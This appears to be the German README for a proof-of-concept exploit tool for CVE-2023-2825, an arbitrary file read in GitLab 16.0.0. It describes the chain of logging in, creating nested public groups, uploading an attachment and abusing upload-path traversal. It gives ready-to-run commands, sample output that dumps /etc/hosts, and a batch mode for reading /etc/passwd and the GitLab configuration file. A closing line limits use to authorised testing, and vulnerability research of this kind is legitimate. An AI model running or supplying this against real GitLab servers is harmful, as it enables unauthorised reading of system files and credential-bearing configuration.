
PoC für CVE-2023-2825: automatisierter beliebiger Dateizugriff in GitLab 16.0.0 über verschachtelte öffentliche Gruppen, Projekt-Upload-Traversal, wiederverwendbare Upload-Pfade und saubere CLI-Ausgabe.
Proof-of-Concept für CVE-2023-2825, eine Schwachstelle zum beliebigen Dateilesen in GitLab CE/EE 16.0.0.
Das Skript meldet sich mit einem gültigen GitLab-Konto an, erstellt die erforderliche öffentliche, verschachtelte Gruppenstruktur, erstellt ein öffentliches Projekt, lädt einen Anhang hoch und nutzt das anfällige Upload-Pfad-Traversal-Verhalten aus, um eine Zieldatei vom GitLab-Server zu lesen.
Es unterstützt auch die Wiederverwendung eines vorhandenen Upload-Pfads, sodass Sie nicht für jeden Dateizugriff neue Gruppen und Projekte erstellen müssen.
Python 3.8+
pip install -r requirements.txt
Erforderliche Python-Pakete:
beautifulsoup4
requests
urllib3
Werte in spitzen Klammern sind Platzhalter. Ersetzen Sie sie durch Ihre eigenen Werte und lassen Sie die Zeichen < oder > weg.
python3 cve_2023_2825.py \
--url <GITLAB_URL> \
--username <USERNAME> \
--password '<PASSWORD>' \
--file /etc/passwd
<GITLAB_URL> # Basis-URL der Ziel-GitLab-Instanz. Beispiel: http://gitlab.local
<USERNAME> # Gültiger GitLab-Benutzername.
<PASSWORD> # Gültiges GitLab-Passwort.
python3 cve_2023_2825.py \
--url http://gitlab.local \
--username alice \
--password 'Password123!' \
--file /etc/hosts
Beispielausgabe:
[2026-05-17T18:20:10Z] [*] CSRF-Token abrufen
[2026-05-17T18:20:10Z] [+] CSRF-Token gefunden
[2026-05-17T18:20:11Z] [*] Anmelden als alice
[2026-05-17T18:20:11Z] [+] Anmeldung erfolgreich
[2026-05-17T18:20:12Z] [*] Erstelle 11 verschachtelte öffentliche Gruppen
[2026-05-17T18:20:18Z] [+] Gruppe erstellt: A1B-11
[2026-05-17T18:20:19Z] [*] Öffentliches Projekt erstellen
[2026-05-17T18:20:20Z] [+] Wiederverwendbarer Upload-Pfad: /A1B-1/.../poc-abcd1234/uploads/<hash>/
[2026-05-17T18:20:20Z] [*] Lese Datei: /etc/hosts
[+] Inhalt von /etc/hosts
127.0.0.1 localhost
Nach einem erfolgreichen Durchlauf gibt das Skript einen wiederverwendbaren Upload-Pfad aus:
Wiederverwendbarer Upload-Pfad: /A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/
Verwenden Sie ihn mit --reuse-path, um Anmeldung, Gruppenerstellung, Projekterstellung und Upload zu überspringen:
python3 cve_2023_2825.py \
--url http://gitlab.local \
--reuse-path '/A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/' \
--file /etc/hosts
Sie können auch eine vollständige URL übergeben und --url weglassen:
python3 cve_2023_2825.py \
--reuse-path 'http://gitlab.local/A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/' \
--file /etc/hosts
Erstellen Sie eine Dateiliste:
cat > files.txt <<'EOF'
/etc/passwd
/etc/hosts
/var/opt/gitlab/gitlab-rails/etc/gitlab.yml
EOF
Ausführen:
python3 cve_2023_2825.py \
--url http://gitlab.local \
--reuse-path '/A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/' \
--list files.txt
--groups <N>
Anzahl der zu erstellenden verschachtelten öffentlichen Gruppen. Standard: 11
--depth <N>
Anzahl der zu verwendenden Traversal-Abschnitte. Standard: 12
--reuse-path <PFAD_ODER_URL>
Vorhandenes Projekt-Upload-Verzeichnis. Überspringt die Einrichtung und liest direkt Dateien.
--only-final
Versteckt Fortschrittsmeldungen und gibt nur Dateiinhalte aus.
--no-color
Deaktiviert ANSI-Farben.
--debug
Gibt den generierten Traversal-Pfad zur Fehlersuche aus.
--reuse-path, um die Erstellung unnötiger Gruppen und Projekte zu vermeiden.Dieser PoC ist für autorisierte Sicherheitstests, Laborumgebungen und Schwachstellenüberprüfungen bestimmt. Verwenden Sie ihn nicht gegen Systeme ohne ausdrückliche Genehmigung.